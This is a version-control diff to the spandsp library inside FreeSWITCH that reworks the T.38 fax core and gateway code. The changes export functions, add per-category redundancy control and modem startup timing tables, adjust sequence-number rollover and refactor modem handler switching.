+    { 215000, 1393000,  200000},    /* T38_IND_V17_12000_LONG_TRAINING */
+    { 215000,  142000,  200000},    /* T38_IND_V17_14400_SHORT_TRAINING */
+    { 215000, 1393000,  200000},    /* T38_IND_V17_14400_LONG_TRAINING */
+    { 215000,       0,       0},    /* T38_IND_V8_ANSAM */
+    { 215000,       0,       0},    /* T38_IND_V8_SIGNAL */
+    { 215000,       0,       0},    /* T38_IND_V34_CNTL_CHANNEL_1200 */
+    { 215000,       0,       0},    /* T38_IND_V34_PRI_CHANNEL */
+    { 215000,       0,       0},    /* T38_IND_V34_CC_RETRAIN */
+    { 215000,       0,       0},    /* T38_IND_V33_12000_TRAINING */
+    { 215000,       0,       0}     /* T38_IND_V33_14400_TRAINING */
+};
+
+SPAN_DECLARE(const char *) t38_indicator_to_str(int indicator)
+{
     switch (indicator)
     {
     case T38_IND_NO_SIGNAL:
@@ -110,7 +147,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t38_data_type_to_str(int data_type)
+SPAN_DECLARE(const char *) t38_data_type_to_str(int data_type)
 {
     switch (data_type)
     {
@@ -149,7 +186,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t38_field_type_to_str(int field_type)
+SPAN_DECLARE(const char *) t38_field_type_to_str(int field_type)
 {
     switch (field_type)
     {
@@ -182,7 +219,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t38_cm_profile_to_str(int profile)
+SPAN_DECLARE(const char *) t38_cm_profile_to_str(int profile)
 {
     switch (profile)
     {
@@ -203,7 +240,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t38_jm_to_str(const uint8_t *data, int len)
+SPAN_DECLARE(const char *) t38_jm_to_str(const uint8_t *data, int len)
 {
     if (len < 2)
         return "???";
@@ -234,7 +271,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_v34rate_to_bps(const uint8_t *data, int len)
+SPAN_DECLARE(int) t38_v34rate_to_bps(const uint8_t *data, int len)
 {
     int i;
     int rate;
@@ -290,7 +327,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_core_rx_ifp_packet(t38_core_state_t *s, const uint8_t *buf, int len, uint16_t seq_no)
+SPAN_DECLARE(int) t38_core_rx_ifp_packet(t38_core_state_t *s, const uint8_t *buf, int len, uint16_t seq_no)
 {
     int i;
     int t30_indicator;
@@ -368,12 +405,17 @@
             }
             s->rx_expected_seq_no = seq_no;
         }
-        s->rx_expected_seq_no = (s->rx_expected_seq_no + 1) & 0xFFFF;
     }
-    else
-    {
-        s->rx_expected_seq_no++;
-    }
+    /* The sequence numbering is defined as rolling from 0xFFFF to 0x0000. Some implementations
+       of T.38 roll from 0xFFFF to 0x0001. Isn't standardisation a wonderful thing? The T.38
+       document specifies only a small fraction of what it should, yet then they actually nail
+       something properly, people ignore it. Developers in this industry truly deserves the ****
+       **** **** **** **** **** documents they have to live with. Anyway, when the far end has a
+       broken rollover behaviour we will get a hiccup at the rollover point. Don't worry too
+       much. We will just treat the message in progress as one with some missing data. With any
+       luck a retry will ride over the problem. Rollovers don't occur that often. It takes quite
+       a few FAX pages to reach rollover. */
+    s->rx_expected_seq_no = (s->rx_expected_seq_no + 1) & 0xFFFF;
     data_field_present = (buf[0] >> 7) & 1;
     type = (buf[0] >> 6) & 1;
     ptr = 0;
@@ -735,31 +777,46 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_core_send_indicator(t38_core_state_t *s, int indicator, int count)
+SPAN_DECLARE(int) t38_core_send_indicator(t38_core_state_t *s, int indicator)
 {
     uint8_t buf[100];
     int len;
+    int delay;
 
-    /* Zero is a valid count, to suppress the transmission of indicators when the
-       transport is TCP. */       
-    if (count)
+    delay = 0;
+    /* Only send an indicator if it represents a change of state. */
+    if (s->current_tx_indicator != indicator)
     {
-        if ((len = t38_encode_indicator(s, buf, indicator)) < 0)
+        /* Zero is a valid count, to suppress the transmission of indicators when the
+           transport means they are not needed - e.g. TPKT/TCP. */
+        if (s->category_control[T38_PACKET_CATEGORY_INDICATOR])
         {
-            span_log(&s->logging, SPAN_LOG_FLOW, "T.38 indicator len is %d\n", len);
-            return len;
+            if ((len = t38_encode_indicator(s, buf, indicator)) < 0)
+            {
+                span_log(&s->logging, SPAN_LOG_FLOW, "T.38 indicator len is %d\n", len);
+                return len;
+            }
+            span_log(&s->logging, SPAN_LOG_FLOW, "Tx %5d: indicator %s\n", s->tx_seq_no, t38_indicator_to_str(indicator));
+            s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, s->category_control[T38_PACKET_CATEGORY_INDICATOR]);
+            s->tx_seq_no = (s->tx_seq_no + 1) & 0xFFFF;
+            delay = modem_startup_time[indicator].training;
+            if (s->allow_for_tep)
+                delay += modem_startup_time[indicator].tep;
         }
-        span_log(&s->logging, SPAN_LOG_FLOW, "Tx %5d: indicator %s\n", s->tx_seq_no, t38_indicator_to_str(indicator));
-        s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, count);
-        s->tx_seq_no = (s->tx_seq_no + 1) & 0xFFFF;
+        s->current_tx_indicator = indicator;
     }
-    s->current_tx_indicator = indicator;
-    return 0;
+    return delay;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_core_send_data(t38_core_state_t *s, int data_type, int field_type, const uint8_t field[], int field_len, int count)
+SPAN_DECLARE(int) t38_core_send_flags_delay(t38_core_state_t *s, int indicator)
 {
+    return modem_startup_time[indicator].flags;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_core_send_data(t38_core_state_t *s, int data_type, int field_type, const uint8_t field[], int field_len, int category)
+{
     t38_data_field_t field0;
     uint8_t buf[1000];
     int len;
@@ -772,13 +829,13 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "T.38 data len is %d\n", len);
         return len;
     }
-    s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, count);
+    s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, s->category_control[category]);
     s->tx_seq_no = (s->tx_seq_no + 1) & 0xFFFF;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_core_send_data_multi_field(t38_core_state_t *s, int data_type, const t38_data_field_t field[], int fields, int count)
+SPAN_DECLARE(int) t38_core_send_data_multi_field(t38_core_state_t *s, int data_type, const t38_data_field_t field[], int fields, int category)
 {
     uint8_t buf[1000];
     int len;
@@ -788,80 +845,104 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "T.38 data len is %d\n", len);
         return len;
     }
-    s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, count);
+    s->tx_packet_handler(s, s->tx_packet_user_data, buf, len, s->category_control[category]);
     s->tx_seq_no = (s->tx_seq_no + 1) & 0xFFFF;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_data_rate_management_method(t38_core_state_t *s, int method)
+SPAN_DECLARE(void) t38_set_data_rate_management_method(t38_core_state_t *s, int method)
 {
     s->data_rate_management_method = method;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_data_transport_protocol(t38_core_state_t *s, int data_transport_protocol)
+SPAN_DECLARE(void) t38_set_data_transport_protocol(t38_core_state_t *s, int data_transport_protocol)
 {
     s->data_transport_protocol = data_transport_protocol;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_fill_bit_removal(t38_core_state_t *s, int fill_bit_removal)
+SPAN_DECLARE(void) t38_set_fill_bit_removal(t38_core_state_t *s, int fill_bit_removal)
 {
     s->fill_bit_removal = fill_bit_removal;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_mmr_transcoding(t38_core_state_t *s, int mmr_transcoding)
+SPAN_DECLARE(void) t38_set_mmr_transcoding(t38_core_state_t *s, int mmr_transcoding)
 {
     s->mmr_transcoding = mmr_transcoding;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_jbig_transcoding(t38_core_state_t *s, int jbig_transcoding)
+SPAN_DECLARE(void) t38_set_jbig_transcoding(t38_core_state_t *s, int jbig_transcoding)
 {
     s->jbig_transcoding = jbig_transcoding;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_max_buffer_size(t38_core_state_t *s, int max_buffer_size)
+SPAN_DECLARE(void) t38_set_max_buffer_size(t38_core_state_t *s, int max_buffer_size)
 {
     s->max_buffer_size = max_buffer_size;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_max_datagram_size(t38_core_state_t *s, int max_datagram_size)
+SPAN_DECLARE(void) t38_set_max_datagram_size(t38_core_state_t *s, int max_datagram_size)
 {
     s->max_datagram_size = max_datagram_size;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_t38_version(t38_core_state_t *s, int t38_version)
+SPAN_DECLARE(void) t38_set_t38_version(t38_core_state_t *s, int t38_version)
 {
     s->t38_version = t38_version;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_set_sequence_number_handling(t38_core_state_t *s, int check)
+SPAN_DECLARE(void) t38_set_sequence_number_handling(t38_core_state_t *s, int check)
 {
     s->check_sequence_numbers = check;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_get_fastest_image_data_rate(t38_core_state_t *s)
+SPAN_DECLARE(void) t38_set_tep_handling(t38_core_state_t *s, int allow_for_tep)
 {
+    s->allow_for_tep = allow_for_tep;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) t38_set_redundancy_control(t38_core_state_t *s, int category, int setting)
+{
+    s->category_control[category] = setting;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) t38_set_fastest_image_data_rate(t38_core_state_t *s, int max_rate)
+{
+    s->fastest_image_data_rate = max_rate;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_get_fastest_image_data_rate(t38_core_state_t *s)
+{
     return s->fastest_image_data_rate;
 }
 /*- End of function --------------------------------------------------------*/
 
-t38_core_state_t *t38_core_init(t38_core_state_t *s,
-                                t38_rx_indicator_handler_t *rx_indicator_handler,
-                                t38_rx_data_handler_t *rx_data_handler,
-                                t38_rx_missing_handler_t *rx_missing_handler,
-                                void *rx_user_data,
-                                t38_tx_packet_handler_t *tx_packet_handler,
-                                void *tx_packet_user_data)
+SPAN_DECLARE(logging_state_t *) t38_core_get_logging_state(t38_core_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(t38_core_state_t *) t38_core_init(t38_core_state_t *s,
+                                               t38_rx_indicator_handler_t *rx_indicator_handler,
+                                               t38_rx_data_handler_t *rx_data_handler,
+                                               t38_rx_missing_handler_t *rx_missing_handler,
+                                               void *rx_user_data,
+                                               t38_tx_packet_handler_t *tx_packet_handler,
+                                               void *tx_packet_user_data)
+{
     if (s == NULL)
     {
         if ((s = (t38_core_state_t *) malloc(sizeof(*s))) == NULL)
@@ -871,8 +952,9 @@
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "T.38");
 
-    span_log(&s->logging, SPAN_LOG_FLOW, "Start tx document\n");
-    s->data_rate_management_method = 2;
+    /* Set some defaults for the parameters configurable from outside the
+       T.38 domain - e.g. from SDP data. */
+    s->data_rate_management_method = T38_DATA_RATE_MANAGEMENT_TRANSFERRED_TCF;
     s->data_transport_protocol = T38_TRANSPORT_UDPTL;
     s->fill_bit_removal = FALSE;
     s->mmr_transcoding = FALSE;
@@ -882,10 +964,23 @@
     s->t38_version = 0;
     s->check_sequence_numbers = TRUE;
 
+    /* Set some defaults */
+    s->category_control[T38_PACKET_CATEGORY_INDICATOR] = 1;
+    s->category_control[T38_PACKET_CATEGORY_CONTROL_DATA] = 1;
+    s->category_control[T38_PACKET_CATEGORY_CONTROL_DATA_END] = 1;
+    s->category_control[T38_PACKET_CATEGORY_IMAGE_DATA] = 1;
+    s->category_control[T38_PACKET_CATEGORY_IMAGE_DATA_END] = 1;
+
+    /* Set the initial current receive states to something invalid, so the
+       first data received is seen as a change of state. */
     s->current_rx_indicator = -1;
     s->current_rx_data_type = -1;
     s->current_rx_field_type = -1;
 
+    /* Set the initial current indicator state to something invalid, so the
+       first attempt to send an indicator will work. */
+    s->current_tx_indicator = -1;
+
     s->rx_indicator_handler = rx_indicator_handler;
     s->rx_data_handler = rx_data_handler;
     s->rx_missing_handler = rx_missing_handler;
@@ -893,8 +988,25 @@
     s->tx_packet_handler = tx_packet_handler;
     s->tx_packet_user_data = tx_packet_user_data;
 
+    /* We have no initial expectation of the received packet sequence number.
+       They most often start at 0 or 1 for a UDPTL transport, but random
+       starting numbers are possible. */
     s->rx_expected_seq_no = -1;
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_core_release(t38_core_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_core_free(t38_core_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/t38_gateway.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t38_gateway.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t38_gateway.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_gateway.c,v 1.142 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t38_gateway.c,v 1.164 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
@@ -38,13 +38,13 @@
 #include <fcntl.h>
 #include <time.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #if defined(LOG_FAX_AUDIO)
 #include <unistd.h>
@@ -65,12 +65,12 @@
 #include "spandsp/hdlc.h"
 #include "spandsp/silence_gen.h"
 #include "spandsp/fsk.h"
+#include "spandsp/v29tx.h"
 #include "spandsp/v29rx.h"
-#include "spandsp/v29tx.h"
+#include "spandsp/v27ter_tx.h"
 #include "spandsp/v27ter_rx.h"
-#include "spandsp/v27ter_tx.h"
+#include "spandsp/v17tx.h"
 #include "spandsp/v17rx.h"
-#include "spandsp/v17tx.h"
 #include "spandsp/super_tone_rx.h"
 #include "spandsp/modem_connect_tones.h"
 #include "spandsp/t4.h"
@@ -78,20 +78,43 @@
 #include "spandsp/t35.h"
 #include "spandsp/t30.h"
 #include "spandsp/t30_logging.h"
-
 #include "spandsp/fax_modems.h"
 #include "spandsp/t38_core.h"
 #include "spandsp/t38_non_ecm_buffer.h"
 #include "spandsp/t38_gateway.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/silence_gen.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/v17tx.h"
+#include "spandsp/private/v17rx.h"
+#include "spandsp/private/v27ter_tx.h"
+#include "spandsp/private/v27ter_rx.h"
+#include "spandsp/private/v29tx.h"
+#include "spandsp/private/v29rx.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/hdlc.h"
+#include "spandsp/private/fax_modems.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+#include "spandsp/private/t38_core.h"
+#include "spandsp/private/t38_non_ecm_buffer.h"
+#include "spandsp/private/t38_gateway.h"
+
 /* This is the target time per transmission chunk. The actual
    packet timing will sync to the data octets. */
-#define MS_PER_TX_CHUNK                 30
-#define HDLC_START_BUFFER_LEVEL         8
+/*! The default number of milliseconds per transmitted IFP when sending bulk T.38 data */
+#define MS_PER_TX_CHUNK                         30
+/*! The number of bytes which must be in the audio to T.38 HDLC buffer before we start
+    outputting them as IFP messages. */
+#define HDLC_START_BUFFER_LEVEL                 8
 
-#define INDICATOR_TX_COUNT              3
-#define DATA_TX_COUNT                   1
-#define DATA_END_TX_COUNT               3
+/*! The number of transmissions of indicator IFP packets */
+#define INDICATOR_TX_COUNT                      3
+/*! The number of transmissions of data IFP packets */
+#define DATA_TX_COUNT                           1
+/*! The number of transmissions of terminating data IFP packets */
+#define DATA_END_TX_COUNT                       3
 
 enum
 {
@@ -127,8 +150,21 @@
     FLAG_DATA = 0x200
 };
 
+enum
+{
+    TIMED_MODE_STARTUP = 0,
+    TIMED_MODE_IDLE,
+    TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_ANNOUNCED,
+    TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_SEEN,
+    TIMED_MODE_TCF_PREDICTABLE_MODEM_START_PAST_V21_MODEM,
+    TIMED_MODE_TCF_PREDICTABLE_MODEM_START_BEGIN,
+};
+
+/*! The maximum number of bytes to be zapped, in order to corrupt NSF,
+    NSS and NSC messages, so the receiver does not recognise them. */
 #define MAX_NSX_SUPPRESSION             10
 
+/*! The number of consecutive flags to declare HDLC framing is OK. */
 #define HDLC_FRAMING_OK_THRESHOLD       5
 
 static uint8_t nsx_overwrite[2][MAX_NSX_SUPPRESSION] =
@@ -156,6 +192,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void set_tx_handler(t38_gateway_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->audio.modems.tx_handler = handler;
+    s->audio.modems.tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void set_next_tx_handler(t38_gateway_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->audio.modems.next_tx_handler = handler;
+    s->audio.modems.next_tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
 static void set_rx_active(t38_gateway_state_t *s, int active)
 {
     s->audio.modems.rx_handler = (active)  ?  s->audio.base_rx_handler  :  span_dummy_rx;
@@ -170,18 +220,18 @@
     t = (t38_gateway_state_t *) user_data;
     s = &t->audio.modems;
     v17_rx(&s->v17_rx, amp, len);
-    fsk_rx(&s->v21_rx, amp, len);
-    if (s->rx_signal_present)
+    if (s->rx_trained)
     {
-        if (s->rx_trained)
+        /* The fast modem has trained, so we no longer need to run the slow
+           one in parallel. */
+        span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.17 (%.2fdBm0)\n", v17_rx_signal_power(&s->v17_rx));
+        set_rx_handler(t, (span_rx_handler_t *) &v17_rx, &s->v17_rx);
+    }
+    else
+    {
+        fsk_rx(&s->v21_rx, amp, len);
+        if (s->rx_signal_present)
         {
-            /* The fast modem has trained, so we no longer need to run the slow
-               one in parallel. */
-            span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.17 (%.2fdBm0)\n", v17_rx_signal_power(&s->v17_rx));
-            set_rx_handler(t, (span_rx_handler_t *) &v17_rx, &s->v17_rx);
-        }
-        else
-        {
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
             set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
@@ -200,18 +250,18 @@
     t = (t38_gateway_state_t *) user_data;
     s = &t->audio.modems;
     v27ter_rx(&s->v27ter_rx, amp, len);
-    fsk_rx(&s->v21_rx, amp, len);
-    if (s->rx_signal_present)
+    if (s->rx_trained)
     {
-        if (s->rx_trained)
+        /* The fast modem has trained, so we no longer need to run the slow
+           one in parallel. */
+        span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.27ter (%.2fdBm0)\n", v27ter_rx_signal_power(&s->v27ter_rx));
+        set_rx_handler(t, (span_rx_handler_t *) &v27ter_rx, &s->v27ter_rx);
+    }
+    else
+    {
+        fsk_rx(&s->v21_rx, amp, len);
+        if (s->rx_signal_present)
         {
-            /* The fast modem has trained, so we no longer need to run the slow
-               one in parallel. */
-            span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.27ter (%.2fdBm0)\n", v27ter_rx_signal_power(&s->v27ter_rx));
-            set_rx_handler(t, (span_rx_handler_t *) &v27ter_rx, &s->v27ter_rx);
-        }
-        else
-        {
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
             set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
@@ -230,18 +280,18 @@
     t = (t38_gateway_state_t *) user_data;
     s = &t->audio.modems;
     v29_rx(&s->v29_rx, amp, len);
-    fsk_rx(&s->v21_rx, amp, len);
-    if (s->rx_signal_present)
+    if (s->rx_trained)
     {
-        if (s->rx_trained)
+        /* The fast modem has trained, so we no longer need to run the slow
+           one in parallel. */
+        span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.29 (%.2fdBm0)\n", v29_rx_signal_power(&s->v29_rx));
+        set_rx_handler(t, (span_rx_handler_t *) &v29_rx, &s->v29_rx);
+    }
+    else
+    {
+        fsk_rx(&s->v21_rx, amp, len);
+        if (s->rx_signal_present)
         {
-            /* The fast modem has trained, so we no longer need to run the slow
-               one in parallel. */
-            span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.29 (%.2fdBm0)\n", v29_rx_signal_power(&s->v29_rx));
-            set_rx_handler(t, (span_rx_handler_t *) &v29_rx, &s->v29_rx);
-        }
-        else
-        {
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
             set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
@@ -252,42 +302,6 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static void t38_fax_modems_init(fax_modems_state_t *s, int use_tep, void *user_data)
-{
-    s->use_tep = use_tep;
-
-    hdlc_rx_init(&s->hdlc_rx, FALSE, TRUE, HDLC_FRAMING_OK_THRESHOLD, NULL, user_data);
-    hdlc_tx_init(&s->hdlc_tx, FALSE, 2, TRUE, hdlc_underflow_handler, user_data);
-    fsk_rx_init(&s->v21_rx, &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) t38_hdlc_rx_put_bit, &s->hdlc_rx);
-#if 0
-    fsk_rx_signal_cutoff(&s->v21_rx, -45.5);
-#endif
-    fsk_tx_init(&s->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &s->hdlc_tx);
-    v17_rx_init(&s->v17_rx, 14400, non_ecm_put_bit, user_data);
-    v17_tx_init(&s->v17_tx, 14400, s->use_tep, t38_non_ecm_buffer_get_bit, user_data);
-    v29_rx_init(&s->v29_rx, 9600, non_ecm_put_bit, user_data);
-#if 0
-    v29_rx_signal_cutoff(&s->v29_rx, -45.5);
-#endif
-    v29_tx_init(&s->v29_tx, 9600, s->use_tep, t38_non_ecm_buffer_get_bit, user_data);
-    v27ter_rx_init(&s->v27ter_rx, 4800, non_ecm_put_bit, user_data);
-    v27ter_tx_init(&s->v27ter_tx, 4800, s->use_tep, t38_non_ecm_buffer_get_bit, user_data);
-    silence_gen_init(&s->silence_gen, 0);
-    modem_connect_tones_tx_init(&s->connect_tx, MODEM_CONNECT_TONES_FAX_CNG);
-    modem_connect_tones_rx_init(&s->connect_rx,
-                                MODEM_CONNECT_TONES_FAX_CNG,
-                                tone_detected,
-                                user_data);
-    dc_restore_init(&s->dc_restore);
-
-    s->rx_signal_present = FALSE;
-    s->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
-    s->rx_user_data = NULL;
-    s->tx_handler = (span_tx_handler_t *) &silence_gen;
-    s->tx_user_data = &s->silence_gen;
-}
-/*- End of function --------------------------------------------------------*/
-
 static void tone_detected(void *user_data, int on, int level, int delay)
 {
     t38_gateway_state_t *s;
@@ -359,9 +373,8 @@
     if (t->next_tx_handler)
     {
         /* There is a handler queued, so that is the next one. */
-        t->tx_handler = t->next_tx_handler;
-        t->tx_user_data = t->next_tx_user_data;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, t->next_tx_handler, t->next_tx_user_data);
+        set_next_tx_handler(s, NULL, NULL);
         if (t->tx_handler == (span_tx_handler_t *) &(silence_gen)
             ||
             t->tx_handler == (span_tx_handler_t *) &(tone_gen))
@@ -399,7 +412,7 @@
     }
     else
     {
-        span_log(&s->logging, SPAN_LOG_FLOW, "non-ECM mode\n");
+        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM mode\n");
         get_bit_func = t38_non_ecm_buffer_get_bit;
         get_bit_user_data = (void *) &s->core.non_ecm_to_modem;
     }
@@ -410,27 +423,23 @@
         t->tx_bit_rate = 0;
         /* Impose 75ms minimum on transmitted silence */
         //silence_gen_set(&t->silence_gen, ms_to_samples(75));
-        t->tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_CNG:
         t->tx_bit_rate = 0;
         modem_connect_tones_tx_init(&t->connect_tx, MODEM_CONNECT_TONES_FAX_CNG);
-        t->tx_handler = (span_tx_handler_t *) &modem_connect_tones_tx;
-        t->tx_user_data = &t->connect_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &modem_connect_tones_tx, &t->connect_tx);
         silence_gen_set(&t->silence_gen, 0);
-        t->next_tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->next_tx_user_data = &t->silence_gen;
+        set_next_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_CED:
         t->tx_bit_rate = 0;
         modem_connect_tones_tx_init(&t->connect_tx, MODEM_CONNECT_TONES_FAX_CED);
-        t->tx_handler = (span_tx_handler_t *) &modem_connect_tones_tx;
-        t->tx_user_data = &t->connect_tx;
-        t->next_tx_handler = NULL;
+        set_tx_handler(s, (span_tx_handler_t *) &modem_connect_tones_tx, &t->connect_tx);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_V21_PREAMBLE:
@@ -440,10 +449,8 @@
         silence_gen_alter(&t->silence_gen, ms_to_samples(75));
         u->buf[u->in].len = 0;
         fsk_tx_init(&t->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &t->hdlc_tx);
-        t->tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &(fsk_tx);
-        t->next_tx_user_data = &t->v21_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &fsk_tx, &t->v21_tx);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_V27TER_2400_TRAINING:
@@ -461,10 +468,8 @@
         silence_gen_alter(&t->silence_gen, ms_to_samples(75));
         v27ter_tx_restart(&t->v27ter_tx, t->tx_bit_rate, t->use_tep);
         v27ter_tx_set_get_bit(&t->v27ter_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &(v27ter_tx);
-        t->next_tx_user_data = &t->v27ter_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v27ter_tx, &t->v27ter_tx);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_V29_7200_TRAINING:
@@ -482,10 +487,8 @@
         silence_gen_alter(&t->silence_gen, ms_to_samples(75));
         v29_tx_restart(&t->v29_tx, t->tx_bit_rate, t->use_tep);
         v29_tx_set_get_bit(&t->v29_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &(v29_tx);
-        t->next_tx_user_data = &t->v29_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v29_tx, &t->v29_tx);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_V17_7200_SHORT_TRAINING:
@@ -532,10 +535,8 @@
         silence_gen_alter(&t->silence_gen, ms_to_samples(75));
         v17_tx_restart(&t->v17_tx, t->tx_bit_rate, t->use_tep, short_train);
         v17_tx_set_get_bit(&t->v17_tx, get_bit_func, get_bit_user_data);
-        t->tx_handler = (span_tx_handler_t *) &(silence_gen);
-        t->tx_user_data = &t->silence_gen;
-        t->next_tx_handler = (span_tx_handler_t *) &(v17_tx);
-        t->next_tx_user_data = &t->v17_tx;
+        set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+        set_next_tx_handler(s, (span_tx_handler_t *) &v17_tx, &t->v17_tx);
         set_rx_active(s, TRUE);
         break;
     case T38_IND_V8_ANSAM:
@@ -643,6 +644,18 @@
         }
         /*endswitch*/
         break;
+    case 4:
+        switch (buf[2])
+        {
+        case T30_DIS:
+            /* Make sure the V.8 capability doesn't pass through. If it
+               did then two V.34 capable FAX machines might start some
+               V.8 re-negotiation. */
+            buf[3] &= ~DISBIT6;
+            break;
+        }
+        /*endswitch*/
+        break;
     case 5:
         switch (buf[2])
         {
